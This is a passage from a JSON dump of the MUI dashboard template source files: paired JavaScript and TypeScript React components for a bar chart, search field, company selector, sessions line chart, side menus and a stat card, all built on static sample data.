    "path": "docs/data/material/getting-started/templates/dashboard/components/PageViewsBarChart.tsx",
    "content": "import Card from '@mui/material/Card';\nimport CardContent from '@mui/material/CardContent';\nimport Chip from '@mui/material/Chip';\nimport Typography from '@mui/material/Typography';\nimport Stack from '@mui/material/Stack';\nimport { BarChart } from '@mui/x-charts/BarChart';\nimport { useTheme } from '@mui/material/styles';\n\nexport default function PageViewsBarChart() {\n  const theme = useTheme();\n  const colorPalette = [\n    (theme.vars || theme).palette.primary.dark,\n    (theme.vars || theme).palette.primary.main,\n    (theme.vars || theme).palette.primary.light,\n  ];\n  return (\n    <Card variant=\"outlined\" sx={{ width: '100%' }}>\n      <CardContent>\n        <Typography component=\"h2\" variant=\"subtitle2\" gutterBottom>\n          Page views and downloads\n        </Typography>\n        <Stack sx={{ justifyContent: 'space-between' }}>\n          <Stack\n            direction=\"row\"\n            sx={{\n              alignContent: { xs: 'center', sm: 'flex-start' },\n              alignItems: 'center',\n              gap: 1,\n            }}\n          >\n            <Typography variant=\"h4\" component=\"p\">\n              1.3M\n            </Typography>\n            <Chip size=\"small\" color=\"error\" label=\"-8%\" />\n          </Stack>\n          <Typography variant=\"caption\" sx={{ color: 'text.secondary' }}>\n            Page views and downloads for the last 6 months\n          </Typography>\n        </Stack>\n        <BarChart\n          borderRadius={8}\n          colors={colorPalette}\n          xAxis={[\n            {\n              scaleType: 'band',\n              categoryGapRatio: 0.5,\n              data: ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul'],\n              height: 24,\n            },\n          ]}\n          yAxis={[{ width: 50 }]}\n          series={[\n            {\n              id: 'page-views',\n              label: 'Page views',\n              data: [2234, 3872, 2998, 4125, 3357, 2789, 2998],\n              stack: 'A',\n            },\n            {\n              id: 'downloads',\n              label: 'Downloads',\n              data: [3098, 4215, 2384, 2101, 4752, 3593, 2384],\n              stack: 'A',\n            },\n            {\n              id: 'conversions',\n              label: 'Conversions',\n              data: [4051, 2275, 3129, 4693, 3904, 2038, 2275],\n              stack: 'A',\n            },\n          ]}\n          height={250}\n          margin={{ left: 0, right: 0, top: 20, bottom: 0 }}\n          grid={{ horizontal: true }}\n          hideLegend\n        />\n      </CardContent>\n    </Card>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/dashboard/components/Search.js",
    "content": "import FormControl from '@mui/material/FormControl';\nimport InputAdornment from '@mui/material/InputAdornment';\nimport OutlinedInput from '@mui/material/OutlinedInput';\nimport SearchRoundedIcon from '@mui/icons-material/SearchRounded';\n\nexport default function Search() {\n  return (\n    <FormControl sx={{ width: { xs: '100%', md: '25ch' } }} variant=\"outlined\">\n      <OutlinedInput\n        size=\"small\"\n        id=\"search\"\n        placeholder=\"Search…\"\n        sx={{ flexGrow: 1 }}\n        startAdornment={\n          <InputAdornment position=\"start\" sx={{ color: 'text.primary' }}>\n            <SearchRoundedIcon fontSize=\"small\" />\n          </InputAdornment>\n        }\n        inputProps={{\n          'aria-label': 'search',\n        }}\n      />\n    </FormControl>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/dashboard/components/Search.tsx",
    "content": "import FormControl from '@mui/material/FormControl';\nimport InputAdornment from '@mui/material/InputAdornment';\nimport OutlinedInput from '@mui/material/OutlinedInput';\nimport SearchRoundedIcon from '@mui/icons-material/SearchRounded';\n\nexport default function Search() {\n  return (\n    <FormControl sx={{ width: { xs: '100%', md: '25ch' } }} variant=\"outlined\">\n      <OutlinedInput\n        size=\"small\"\n        id=\"search\"\n        placeholder=\"Search…\"\n        sx={{ flexGrow: 1 }}\n        startAdornment={\n          <InputAdornment position=\"start\" sx={{ color: 'text.primary' }}>\n            <SearchRoundedIcon fontSize=\"small\" />\n          </InputAdornment>\n        }\n        inputProps={{\n          'aria-label': 'search',\n        }}\n      />\n    </FormControl>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/dashboard/components/SelectContent.js",
    "content": "import * as React from 'react';\nimport MuiAvatar from '@mui/material/Avatar';\nimport MuiListItemAvatar from '@mui/material/ListItemAvatar';\nimport MenuItem from '@mui/material/MenuItem';\nimport ListItemText from '@mui/material/ListItemText';\nimport ListItemIcon from '@mui/material/ListItemIcon';\nimport ListSubheader from '@mui/material/ListSubheader';\nimport Select, { selectClasses } from '@mui/material/Select';\nimport Divider from '@mui/material/Divider';\nimport { styled } from '@mui/material/styles';\nimport AddRoundedIcon from '@mui/icons-material/AddRounded';\nimport DevicesRoundedIcon from '@mui/icons-material/DevicesRounded';\nimport SmartphoneRoundedIcon from '@mui/icons-material/SmartphoneRounded';\nimport ConstructionRoundedIcon from '@mui/icons-material/ConstructionRounded';\n\nconst Avatar = styled(MuiAvatar)(({ theme }) => ({\n  width: 28,\n  height: 28,\n  backgroundColor: (theme.vars || theme).palette.background.paper,\n  color: (theme.vars || theme).palette.text.secondary,\n  border: `1px solid ${(theme.vars || theme).palette.divider}`,\n}));\n\nconst ListItemAvatar = styled(MuiListItemAvatar)({\n  minWidth: 0,\n  marginRight: 12,\n});\n\nexport default function SelectContent() {\n  const [company, setCompany] = React.useState('');\n\n  const handleChange = (event) => {\n    setCompany(event.target.value);\n  };\n\n  return (\n    <Select\n      labelId=\"company-select\"\n      id=\"company-simple-select\"\n      value={company}\n      onChange={handleChange}\n      displayEmpty\n      inputProps={{ 'aria-label': 'Select company' }}\n      fullWidth\n      sx={{\n        maxHeight: 56,\n        width: 215,\n        '&.MuiList-root': {\n          p: '8px',\n        },\n        [`& .${selectClasses.select}`]: {\n          display: 'flex',\n          alignItems: 'center',\n          gap: '2px',\n          pl: 1,\n        },\n      }}\n    >\n      <ListSubheader sx={{ pt: 0 }}>Production</ListSubheader>\n      <MenuItem value=\"\">\n        <ListItemAvatar>\n          <Avatar alt=\"Sitemark web\">\n            <DevicesRoundedIcon sx={{ fontSize: '1rem' }} />\n          </Avatar>\n        </ListItemAvatar>\n        <ListItemText primary=\"Sitemark-web\" secondary=\"Web app\" />\n      </MenuItem>\n      <MenuItem value={10}>\n        <ListItemAvatar>\n          <Avatar alt=\"Sitemark App\">\n            <SmartphoneRoundedIcon sx={{ fontSize: '1rem' }} />\n          </Avatar>\n        </ListItemAvatar>\n        <ListItemText primary=\"Sitemark-app\" secondary=\"Mobile application\" />\n      </MenuItem>\n      <MenuItem value={20}>\n        <ListItemAvatar>\n          <Avatar alt=\"Sitemark Store\">\n            <DevicesRoundedIcon sx={{ fontSize: '1rem' }} />\n          </Avatar>\n        </ListItemAvatar>\n        <ListItemText primary=\"Sitemark-Store\" secondary=\"Web app\" />\n      </MenuItem>\n      <ListSubheader>Development</ListSubheader>\n      <MenuItem value={30}>\n        <ListItemAvatar>\n          <Avatar alt=\"Sitemark Store\">\n            <ConstructionRoundedIcon sx={{ fontSize: '1rem' }} />\n          </Avatar>\n        </ListItemAvatar>\n        <ListItemText primary=\"Sitemark-Admin\" secondary=\"Web app\" />\n      </MenuItem>\n      <Divider sx={{ mx: -1 }} />\n      <MenuItem value={40}>\n        <ListItemIcon>\n          <AddRoundedIcon />\n        </ListItemIcon>\n        <ListItemText primary=\"Add product\" secondary=\"Web app\" />\n      </MenuItem>\n    </Select>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/dashboard/components/SelectContent.tsx",
    "content": "import * as React from 'react';\nimport MuiAvatar from '@mui/material/Avatar';\nimport MuiListItemAvatar from '@mui/material/ListItemAvatar';\nimport MenuItem from '@mui/material/MenuItem';\nimport ListItemText from '@mui/material/ListItemText';\nimport ListItemIcon from '@mui/material/ListItemIcon';\nimport ListSubheader from '@mui/material/ListSubheader';\nimport Select, { SelectChangeEvent, selectClasses } from '@mui/material/Select';\nimport Divider from '@mui/material/Divider';\nimport { styled } from '@mui/material/styles';\nimport AddRoundedIcon from '@mui/icons-material/AddRounded';\nimport DevicesRoundedIcon from '@mui/icons-material/DevicesRounded';\nimport SmartphoneRoundedIcon from '@mui/icons-material/SmartphoneRounded';\nimport ConstructionRoundedIcon from '@mui/icons-material/ConstructionRounded';\n\nconst Avatar = styled(MuiAvatar)(({ theme }) => ({\n  width: 28,\n  height: 28,\n  backgroundColor: (theme.vars || theme).palette.background.paper,\n  color: (theme.vars || theme).palette.text.secondary,\n  border: `1px solid ${(theme.vars || theme).palette.divider}`,\n}));\n\nconst ListItemAvatar = styled(MuiListItemAvatar)({\n  minWidth: 0,\n  marginRight: 12,\n});\n\nexport default function SelectContent() {\n  const [company, setCompany] = React.useState('');\n\n  const handleChange = (event: SelectChangeEvent) => {\n    setCompany(event.target.value as string);\n  };\n\n  return (\n    <Select\n      labelId=\"company-select\"\n      id=\"company-simple-select\"\n      value={company}\n      onChange={handleChange}\n      displayEmpty\n      inputProps={{ 'aria-label': 'Select company' }}\n      fullWidth\n      sx={{\n        maxHeight: 56,\n        width: 215,\n        '&.MuiList-root': {\n          p: '8px',\n        },\n        [`& .${selectClasses.select}`]: {\n          display: 'flex',\n          alignItems: 'center',\n          gap: '2px',\n          pl: 1,\n        },\n      }}\n    >\n      <ListSubheader sx={{ pt: 0 }}>Production</ListSubheader>\n      <MenuItem value=\"\">\n        <ListItemAvatar>\n          <Avatar alt=\"Sitemark web\">\n            <DevicesRoundedIcon sx={{ fontSize: '1rem' }} />\n          </Avatar>\n        </ListItemAvatar>\n        <ListItemText primary=\"Sitemark-web\" secondary=\"Web app\" />\n      </MenuItem>\n      <MenuItem value={10}>\n        <ListItemAvatar>\n          <Avatar alt=\"Sitemark App\">\n            <SmartphoneRoundedIcon sx={{ fontSize: '1rem' }} />\n          </Avatar>\n        </ListItemAvatar>\n        <ListItemText primary=\"Sitemark-app\" secondary=\"Mobile application\" />\n      </MenuItem>\n      <MenuItem value={20}>\n        <ListItemAvatar>\n          <Avatar alt=\"Sitemark Store\">\n            <DevicesRoundedIcon sx={{ fontSize: '1rem' }} />\n          </Avatar>\n        </ListItemAvatar>\n        <ListItemText primary=\"Sitemark-Store\" secondary=\"Web app\" />\n      </MenuItem>\n      <ListSubheader>Development</ListSubheader>\n      <MenuItem value={30}>\n        <ListItemAvatar>\n          <Avatar alt=\"Sitemark Store\">\n            <ConstructionRoundedIcon sx={{ fontSize: '1rem' }} />\n          </Avatar>\n        </ListItemAvatar>\n        <ListItemText primary=\"Sitemark-Admin\" secondary=\"Web app\" />\n      </MenuItem>\n      <Divider sx={{ mx: -1 }} />\n      <MenuItem value={40}>\n        <ListItemIcon>\n          <AddRoundedIcon />\n        </ListItemIcon>\n        <ListItemText primary=\"Add product\" secondary=\"Web app\" />\n      </MenuItem>\n    </Select>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/dashboard/components/SessionsChart.js",
    "content": "import { useTheme } from '@mui/material/styles';\nimport PropTypes from 'prop-types';\nimport Card from '@mui/material/Card';\nimport CardContent from '@mui/material/CardContent';\nimport Chip from '@mui/material/Chip';\nimport Typography from '@mui/material/Typography';\nimport Stack from '@mui/material/Stack';\nimport { LineChart } from '@mui/x-charts/LineChart';\n\nfunction AreaGradient({ color, id }) {\n  return (\n    <defs>\n      <linearGradient id={id} x1=\"50%\" y1=\"0%\" x2=\"50%\" y2=\"100%\">\n        <stop offset=\"0%\" stopColor={color} stopOpacity={0.5} />\n        <stop offset=\"100%\" stopColor={color} stopOpacity={0} />\n      </linearGradient>\n    </defs>\n  );\n}\n\nAreaGradient.propTypes = {\n  color: PropTypes.string.isRequired,\n  id: PropTypes.string.isRequired,\n};\n\nfunction getDaysInMonth(month, year) {\n  const date = new Date(year, month, 0);\n  const monthName = date.toLocaleDateString('en-US', {\n    month: 'short',\n  });\n  const daysInMonth = date.getDate();\n  const days = [];\n  let i = 1;\n  while (days.length < daysInMonth) {\n    days.push(`${monthName} ${i}`);\n    i += 1;\n  }\n  return days;\n}\n\nexport default function SessionsChart() {\n  const theme = useTheme();\n  const data = getDaysInMonth(4, 2024);\n\n  const colorPalette = [\n    theme.palette.primary.light,\n    theme.palette.primary.main,\n    theme.palette.primary.dark,\n  ];\n\n  return (\n    <Card variant=\"outlined\" sx={{ width: '100%' }}>\n      <CardContent>\n        <Typography component=\"h2\" variant=\"subtitle2\" gutterBottom>\n          Sessions\n        </Typography>\n        <Stack sx={{ justifyContent: 'space-between' }}>\n          <Stack\n            direction=\"row\"\n            sx={{\n              alignContent: { xs: 'center', sm: 'flex-start' },\n              alignItems: 'center',\n              gap: 1,\n            }}\n          >\n            <Typography variant=\"h4\" component=\"p\">\n              13,277\n            </Typography>\n            <Chip size=\"small\" color=\"success\" label=\"+35%\" />\n          </Stack>\n          <Typography variant=\"caption\" sx={{ color: 'text.secondary' }}>\n            Sessions per day for the last 30 days\n          </Typography>\n        </Stack>\n        <LineChart\n          colors={colorPalette}\n          xAxis={[\n            {\n              scaleType: 'point',\n              data,\n              tickInterval: (index, i) => (i + 1) % 5 === 0,\n              height: 24,\n            },\n          ]}\n          yAxis={[{ width: 50 }]}\n          series={[\n            {\n              id: 'direct',\n              label: 'Direct',\n              showMark: false,\n              curve: 'linear',\n              stack: 'total',\n              area: true,\n              stackOrder: 'ascending',\n              data: [\n                300, 900, 600, 1200, 1500, 1800, 2400, 2100, 2700, 3000, 1800, 3300,\n                3600, 3900, 4200, 4500, 3900, 4800, 5100, 5400, 4800, 5700, 6000,\n                6300, 6600, 6900, 7200, 7500, 7800, 8100,\n              ],\n            },\n            {\n              id: 'referral',\n              label: 'Referral',\n              showMark: false,\n              curve: 'linear',\n              stack: 'total',\n              area: true,\n              stackOrder: 'ascending',\n              data: [\n                500, 900, 700, 1400, 1100, 1700, 2300, 2000, 2600, 2900, 2300, 3200,\n                3500, 3800, 4100, 4400, 2900, 4700, 5000, 5300, 5600, 5900, 6200,\n                6500, 5600, 6800, 7100, 7400, 7700, 8000,\n              ],\n            },\n            {\n              id: 'organic',\n              label: 'Organic',\n              showMark: false,\n              curve: 'linear',\n              stack: 'total',\n              stackOrder: 'ascending',\n              data: [\n                1000, 1500, 1200, 1700, 1300, 2000, 2400, 2200, 2600, 2800, 2500,\n                3000, 3400, 3700, 3200, 3900, 4100, 3500, 4300, 4500, 4000, 4700,\n                5000, 5200, 4800, 5400, 5600, 5900, 6100, 6300,\n              ],\n              area: true,\n            },\n          ]}\n          height={250}\n          margin={{ left: 0, right: 20, top: 20, bottom: 0 }}\n          grid={{ horizontal: true }}\n          sx={{\n            '& .MuiAreaElement-series-organic': {\n              fill: \"url('#organic')\",\n            },\n            '& .MuiAreaElement-series-referral': {\n              fill: \"url('#referral')\",\n            },\n            '& .MuiAreaElement-series-direct': {\n              fill: \"url('#direct')\",\n            },\n          }}\n          hideLegend\n        >\n          <AreaGradient color={theme.palette.primary.dark} id=\"organic\" />\n          <AreaGradient color={theme.palette.primary.main} id=\"referral\" />\n          <AreaGradient color={theme.palette.primary.light} id=\"direct\" />\n        </LineChart>\n      </CardContent>\n    </Card>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/dashboard/components/SessionsChart.tsx",
    "content": "import { useTheme } from '@mui/material/styles';\nimport Card from '@mui/material/Card';\nimport CardContent from '@mui/material/CardContent';\nimport Chip from '@mui/material/Chip';\nimport Typography from '@mui/material/Typography';\nimport Stack from '@mui/material/Stack';\nimport { LineChart } from '@mui/x-charts/LineChart';\n\nfunction AreaGradient({ color, id }: { color: string; id: string }) {\n  return (\n    <defs>\n      <linearGradient id={id} x1=\"50%\" y1=\"0%\" x2=\"50%\" y2=\"100%\">\n        <stop offset=\"0%\" stopColor={color} stopOpacity={0.5} />\n        <stop offset=\"100%\" stopColor={color} stopOpacity={0} />\n      </linearGradient>\n    </defs>\n  );\n}\n\nfunction getDaysInMonth(month: number, year: number) {\n  const date = new Date(year, month, 0);\n  const monthName = date.toLocaleDateString('en-US', {\n    month: 'short',\n  });\n  const daysInMonth = date.getDate();\n  const days = [];\n  let i = 1;\n  while (days.length < daysInMonth) {\n    days.push(`${monthName} ${i}`);\n    i += 1;\n  }\n  return days;\n}\n\nexport default function SessionsChart() {\n  const theme = useTheme();\n  const data = getDaysInMonth(4, 2024);\n\n  const colorPalette = [\n    theme.palette.primary.light,\n    theme.palette.primary.main,\n    theme.palette.primary.dark,\n  ];\n\n  return (\n    <Card variant=\"outlined\" sx={{ width: '100%' }}>\n      <CardContent>\n        <Typography component=\"h2\" variant=\"subtitle2\" gutterBottom>\n          Sessions\n        </Typography>\n        <Stack sx={{ justifyContent: 'space-between' }}>\n          <Stack\n            direction=\"row\"\n            sx={{\n              alignContent: { xs: 'center', sm: 'flex-start' },\n              alignItems: 'center',\n              gap: 1,\n            }}\n          >\n            <Typography variant=\"h4\" component=\"p\">\n              13,277\n            </Typography>\n            <Chip size=\"small\" color=\"success\" label=\"+35%\" />\n          </Stack>\n          <Typography variant=\"caption\" sx={{ color: 'text.secondary' }}>\n            Sessions per day for the last 30 days\n          </Typography>\n        </Stack>\n        <LineChart\n          colors={colorPalette}\n          xAxis={[\n            {\n              scaleType: 'point',\n              data,\n              tickInterval: (index, i) => (i + 1) % 5 === 0,\n              height: 24,\n            },\n          ]}\n          yAxis={[{ width: 50 }]}\n          series={[\n            {\n              id: 'direct',\n              label: 'Direct',\n              showMark: false,\n              curve: 'linear',\n              stack: 'total',\n              area: true,\n              stackOrder: 'ascending',\n              data: [\n                300, 900, 600, 1200, 1500, 1800, 2400, 2100, 2700, 3000, 1800, 3300,\n                3600, 3900, 4200, 4500, 3900, 4800, 5100, 5400, 4800, 5700, 6000,\n                6300, 6600, 6900, 7200, 7500, 7800, 8100,\n              ],\n            },\n            {\n              id: 'referral',\n              label: 'Referral',\n              showMark: false,\n              curve: 'linear',\n              stack: 'total',\n              area: true,\n              stackOrder: 'ascending',\n              data: [\n                500, 900, 700, 1400, 1100, 1700, 2300, 2000, 2600, 2900, 2300, 3200,\n                3500, 3800, 4100, 4400, 2900, 4700, 5000, 5300, 5600, 5900, 6200,\n                6500, 5600, 6800, 7100, 7400, 7700, 8000,\n              ],\n            },\n            {\n              id: 'organic',\n              label: 'Organic',\n              showMark: false,\n              curve: 'linear',\n              stack: 'total',\n              stackOrder: 'ascending',\n              data: [\n                1000, 1500, 1200, 1700, 1300, 2000, 2400, 2200, 2600, 2800, 2500,\n                3000, 3400, 3700, 3200, 3900, 4100, 3500, 4300, 4500, 4000, 4700,\n                5000, 5200, 4800, 5400, 5600, 5900, 6100, 6300,\n              ],\n              area: true,\n            },\n          ]}\n          height={250}\n          margin={{ left: 0, right: 20, top: 20, bottom: 0 }}\n          grid={{ horizontal: true }}\n          sx={{\n            '& .MuiAreaElement-series-organic': {\n              fill: \"url('#organic')\",\n            },\n            '& .MuiAreaElement-series-referral': {\n              fill: \"url('#referral')\",\n            },\n            '& .MuiAreaElement-series-direct': {\n              fill: \"url('#direct')\",\n            },\n          }}\n          hideLegend\n        >\n          <AreaGradient color={theme.palette.primary.dark} id=\"organic\" />\n          <AreaGradient color={theme.palette.primary.main} id=\"referral\" />\n          <AreaGradient color={theme.palette.primary.light} id=\"direct\" />\n        </LineChart>\n      </CardContent>\n    </Card>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/dashboard/components/SideMenu.js",
    "content": "import { styled } from '@mui/material/styles';\nimport Avatar from '@mui/material/Avatar';\nimport MuiDrawer, { drawerClasses } from '@mui/material/Drawer';\nimport Box from '@mui/material/Box';\nimport Divider from '@mui/material/Divider';\nimport Stack from '@mui/material/Stack';\nimport Typography from '@mui/material/Typography';\nimport SelectContent from './SelectContent';\nimport MenuContent from './MenuContent';\nimport CardAlert from './CardAlert';\nimport OptionsMenu from './OptionsMenu';\n\nconst drawerWidth = 240;\n\nconst Drawer = styled(MuiDrawer)({\n  width: drawerWidth,\n  flexShrink: 0,\n  boxSizing: 'border-box',\n  mt: 10,\n  [`& .${drawerClasses.paper}`]: {\n    width: drawerWidth,\n    boxSizing: 'border-box',\n  },\n});\n\nexport default function SideMenu() {\n  return (\n    <Drawer\n      variant=\"permanent\"\n      sx={{\n        display: { xs: 'none', md: 'block' },\n        [`& .${drawerClasses.paper}`]: {\n          backgroundColor: 'background.paper',\n        },\n      }}\n    >\n      <Box\n        sx={{\n          display: 'flex',\n          mt: 'calc(var(--template-frame-height, 0px) + 4px)',\n          p: 1.5,\n        }}\n      >\n        <SelectContent />\n      </Box>\n      <Divider />\n      <Box\n        sx={{\n          overflow: 'auto',\n          height: '100%',\n          display: 'flex',\n          flexDirection: 'column',\n        }}\n      >\n        <MenuContent />\n        <CardAlert />\n      </Box>\n      <Stack\n        direction=\"row\"\n        sx={{\n          p: 2,\n          gap: 1,\n          alignItems: 'center',\n          borderTop: '1px solid',\n          borderColor: 'divider',\n        }}\n      >\n        <Avatar\n          sizes=\"small\"\n          alt=\"Riley Carter\"\n          src=\"/static/images/avatar/7.jpg\"\n          sx={{ width: 36, height: 36 }}\n        />\n        <Box sx={{ mr: 'auto' }}>\n          <Typography variant=\"body2\" sx={{ fontWeight: 500, lineHeight: '16px' }}>\n            Riley Carter\n          </Typography>\n          <Typography variant=\"caption\" sx={{ color: 'text.secondary' }}>\n            riley@email.com\n          </Typography>\n        </Box>\n        <OptionsMenu />\n      </Stack>\n    </Drawer>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/dashboard/components/SideMenu.tsx",
    "content": "import { styled } from '@mui/material/styles';\nimport Avatar from '@mui/material/Avatar';\nimport MuiDrawer, { drawerClasses } from '@mui/material/Drawer';\nimport Box from '@mui/material/Box';\nimport Divider from '@mui/material/Divider';\nimport Stack from '@mui/material/Stack';\nimport Typography from '@mui/material/Typography';\nimport SelectContent from './SelectContent';\nimport MenuContent from './MenuContent';\nimport CardAlert from './CardAlert';\nimport OptionsMenu from './OptionsMenu';\n\nconst drawerWidth = 240;\n\nconst Drawer = styled(MuiDrawer)({\n  width: drawerWidth,\n  flexShrink: 0,\n  boxSizing: 'border-box',\n  mt: 10,\n  [`& .${drawerClasses.paper}`]: {\n    width: drawerWidth,\n    boxSizing: 'border-box',\n  },\n});\n\nexport default function SideMenu() {\n  return (\n    <Drawer\n      variant=\"permanent\"\n      sx={{\n        display: { xs: 'none', md: 'block' },\n        [`& .${drawerClasses.paper}`]: {\n          backgroundColor: 'background.paper',\n        },\n      }}\n    >\n      <Box\n        sx={{\n          display: 'flex',\n          mt: 'calc(var(--template-frame-height, 0px) + 4px)',\n          p: 1.5,\n        }}\n      >\n        <SelectContent />\n      </Box>\n      <Divider />\n      <Box\n        sx={{\n          overflow: 'auto',\n          height: '100%',\n          display: 'flex',\n          flexDirection: 'column',\n        }}\n      >\n        <MenuContent />\n        <CardAlert />\n      </Box>\n      <Stack\n        direction=\"row\"\n        sx={{\n          p: 2,\n          gap: 1,\n          alignItems: 'center',\n          borderTop: '1px solid',\n          borderColor: 'divider',\n        }}\n      >\n        <Avatar\n          sizes=\"small\"\n          alt=\"Riley Carter\"\n          src=\"/static/images/avatar/7.jpg\"\n          sx={{ width: 36, height: 36 }}\n        />\n        <Box sx={{ mr: 'auto' }}>\n          <Typography variant=\"body2\" sx={{ fontWeight: 500, lineHeight: '16px' }}>\n            Riley Carter\n          </Typography>\n          <Typography variant=\"caption\" sx={{ color: 'text.secondary' }}>\n            riley@email.com\n          </Typography>\n        </Box>\n        <OptionsMenu />\n      </Stack>\n    </Drawer>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/dashboard/components/SideMenuMobile.js",
    "content": "import Avatar from '@mui/material/Avatar';\nimport PropTypes from 'prop-types';\nimport Button from '@mui/material/Button';\nimport Divider from '@mui/material/Divider';\nimport Drawer, { drawerClasses } from '@mui/material/Drawer';\nimport Stack from '@mui/material/Stack';\nimport Typography from '@mui/material/Typography';\nimport LogoutRoundedIcon from '@mui/icons-material/LogoutRounded';\nimport NotificationsRoundedIcon from '@mui/icons-material/NotificationsRounded';\nimport MenuButton from './MenuButton';\nimport MenuContent from './MenuContent';\nimport CardAlert from './CardAlert';\n\nfunction SideMenuMobile({ open, toggleDrawer }) {\n  return (\n    <Drawer\n      anchor=\"right\"\n      open={open}\n      onClose={toggleDrawer(false)}\n      sx={{\n        zIndex: (theme) => theme.zIndex.drawer + 1,\n        [`& .${drawerClasses.paper}`]: {\n          backgroundImage: 'none',\n          backgroundColor: 'background.paper',\n        },\n      }}\n    >\n      <Stack\n        sx={{\n          maxWidth: '70dvw',\n          height: '100%',\n        }}\n      >\n        <Stack direction=\"row\" sx={{ p: 2, pb: 0, gap: 1 }}>\n          <Stack\n            direction=\"row\"\n            sx={{ gap: 1, alignItems: 'center', flexGrow: 1, p: 1 }}\n          >\n            <Avatar\n              sizes=\"small\"\n              alt=\"Riley Carter\"\n              src=\"/static/images/avatar/7.jpg\"\n              sx={{ width: 24, height: 24 }}\n            />\n            <Typography component=\"p\" variant=\"h6\">\n              Riley Carter\n            </Typography>\n          </Stack>\n          <MenuButton showBadge>\n            <NotificationsRoundedIcon />\n          </MenuButton>\n        </Stack>\n        <Divider />\n        <Stack sx={{ flexGrow: 1 }}>\n          <MenuContent />\n          <Divider />\n        </Stack>\n        <CardAlert />\n        <Stack sx={{ p: 2 }}>\n          <Button variant=\"outlined\" fullWidth startIcon={<LogoutRoundedIcon />}>\n            Logout\n          </Button>\n        </Stack>\n      </Stack>\n    </Drawer>\n  );\n}\n\nSideMenuMobile.propTypes = {\n  open: PropTypes.bool,\n  toggleDrawer: PropTypes.func.isRequired,\n};\n\nexport default SideMenuMobile;\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/dashboard/components/SideMenuMobile.tsx",
    "content": "import Avatar from '@mui/material/Avatar';\nimport Button from '@mui/material/Button';\nimport Divider from '@mui/material/Divider';\nimport Drawer, { drawerClasses } from '@mui/material/Drawer';\nimport Stack from '@mui/material/Stack';\nimport Typography from '@mui/material/Typography';\nimport LogoutRoundedIcon from '@mui/icons-material/LogoutRounded';\nimport NotificationsRoundedIcon from '@mui/icons-material/NotificationsRounded';\nimport MenuButton from './MenuButton';\nimport MenuContent from './MenuContent';\nimport CardAlert from './CardAlert';\n\ninterface SideMenuMobileProps {\n  open: boolean | undefined;\n  toggleDrawer: (newOpen: boolean) => () => void;\n}\n\nexport default function SideMenuMobile({ open, toggleDrawer }: SideMenuMobileProps) {\n  return (\n    <Drawer\n      anchor=\"right\"\n      open={open}\n      onClose={toggleDrawer(false)}\n      sx={{\n        zIndex: (theme) => theme.zIndex.drawer + 1,\n        [`& .${drawerClasses.paper}`]: {\n          backgroundImage: 'none',\n          backgroundColor: 'background.paper',\n        },\n      }}\n    >\n      <Stack\n        sx={{\n          maxWidth: '70dvw',\n          height: '100%',\n        }}\n      >\n        <Stack direction=\"row\" sx={{ p: 2, pb: 0, gap: 1 }}>\n          <Stack\n            direction=\"row\"\n            sx={{ gap: 1, alignItems: 'center', flexGrow: 1, p: 1 }}\n          >\n            <Avatar\n              sizes=\"small\"\n              alt=\"Riley Carter\"\n              src=\"/static/images/avatar/7.jpg\"\n              sx={{ width: 24, height: 24 }}\n            />\n            <Typography component=\"p\" variant=\"h6\">\n              Riley Carter\n            </Typography>\n          </Stack>\n          <MenuButton showBadge>\n            <NotificationsRoundedIcon />\n          </MenuButton>\n        </Stack>\n        <Divider />\n        <Stack sx={{ flexGrow: 1 }}>\n          <MenuContent />\n          <Divider />\n        </Stack>\n        <CardAlert />\n        <Stack sx={{ p: 2 }}>\n          <Button variant=\"outlined\" fullWidth startIcon={<LogoutRoundedIcon />}>\n            Logout\n          </Button>\n        </Stack>\n      </Stack>\n    </Drawer>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/dashboard/components/StatCard.js",
    "content": "import { useTheme } from '@mui/material/styles';\nimport PropTypes from 'prop-types';\nimport Box from '@mui/material/Box';\nimport Card from '@mui/material/Card';\nimport CardContent from '@mui/material/CardContent';\nimport Chip from '@mui/material/Chip';\nimport Stack from '@mui/material/Stack';\nimport Typography from '@mui/material/Typography';\nimport { SparkLineChart } from '@mui/x-charts/SparkLineChart';\nimport { areaElementClasses } from '@mui/x-charts/LineChart';\n\nfunction getDaysInMonth(month, year) {\n  const date = new Date(year, month, 0);\n  const monthName = date.toLocaleDateString('en-US', {\n    month: 'short',\n  });\n  const daysInMonth = date.getDate();\n  const days = [];\n  let i = 1;\n  while (days.length < daysInMonth) {\n    days.push(`${monthName} ${i}`);\n    i += 1;\n  }\n  return days;\n}\n\nfunction AreaGradient({ color, id }) {\n  return (\n    <defs>\n      <linearGradient id={id} x1=\"50%\" y1=\"0%\" x2=\"50%\" y2=\"100%\">\n        <stop offset=\"0%\" stopColor={color} stopOpacity={0.3} />\n        <stop offset=\"100%\" stopColor={color} stopOpacity={0} />\n      </linearGradient>\n    </defs>\n  );\n}\n\nAreaGradient.propTypes = {\n  color: PropTypes.string.isRequired,\n  id: PropTypes.string.isRequired,\n};\n\nfunction StatCard({ title, value, interval, trend, data }) {\n  const theme = useTheme();\n  const daysInWeek = getDaysInMonth(4, 2024);\n\n  const trendColors = {\n    up:\n      theme.palette.mode === 'light'\n        ? theme.palette.success.main\n        : theme.palette.success.dark,\n    down:\n      theme.palette.mode === 'light'\n        ? theme.palette.error.main\n        : theme.palette.error.dark,\n    neutral:\n      theme.palette.mode === 'light'\n        ? theme.palette.grey[400]\n        : theme.palette.grey[700],\n  };\n\n  const labelColors = {\n    up: 'success',\n    down: 'error',\n    neutral: 'default',\n  };\n\n  const color = labelColors[trend];\n  const chartColor = trendColors[trend];\n  const trendValues = { up: '+25%', down: '-25%', neutral: '+5%' };\n\n  return (\n    <Card variant=\"outlined\" sx={{ height: '100%', flexGrow: 1 }}>\n      <CardContent>\n        <Typography component=\"h2\" variant=\"subtitle2\" gutterBottom>\n          {title}\n        </Typography>\n        <Stack\n          direction=\"column\"\n       